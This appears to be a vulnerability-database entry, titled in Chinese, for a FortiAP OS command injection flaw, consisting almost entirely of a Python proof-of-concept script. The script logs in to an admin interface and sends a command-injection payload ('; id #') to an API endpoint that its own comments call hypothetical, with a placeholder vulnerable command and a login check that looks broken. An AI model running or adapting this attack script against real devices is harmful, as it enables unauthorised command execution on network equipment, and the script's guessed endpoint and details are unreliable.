CVE-2025-53870 Fortinet FortiAP操作系统命令注入漏洞

# This is a conceptual PoC for OS Command Injection in FortiAP CLI. # The attacker needs High Privileges (Admin) to execute the CLI command. import requests import urllib3 # Disable SSL warnings for testing purposes urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit(target_ip, username, password): session = requests.Session() login_url = f"https://{target_ip}/logincheck" # Step 1: Authenticate to the device (High Privileges Required) login_data = { 'username': username, 'secretkey': password } try: print(f"[*] Attempting to login to {target_ip}...") response = session.post(login_url, data=login_data, verify=False, timeout=10) if response.status_code != 200 or 'cookie' not in response.cookies: print("[-] Login failed.") return print("[+] Login successful.") # Step 2: Send crafted CLI command with injection payload # Example payload: executing 'id' command via injection # Note: The specific vulnerable endpoint is hypothetical based on the CVE description. exploit_url = f"https://{target_ip}/api/v2/monitor/system/cli" # The payload attempts to inject a command. # In a real scenario, the attacker identifies the specific vulnerable command. payload = "execute some-vulnerable-cmd; id #" headers = { 'Content-Type': 'application/json' } # Constructing the payload data structure typical for FortiOS API payload_data = { "command": payload } print(f"[*] Sending payload: {payload}") exploit_response = session.post(exploit_url, json=payload_data, headers=headers, verify=False, timeout=10) if exploit_response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Response:") print(exploit_response.text) else: print(f"[-] Exploit request failed with status code: {exploit_response.status_code}") except Exception as e: print(f"[-] An error occurred: {str(e)}") if __name__ == "__main__": # Replace with actual target details target = "192.168.1.1" user = "admin" pwd = "password" exploit(target, user, pwd)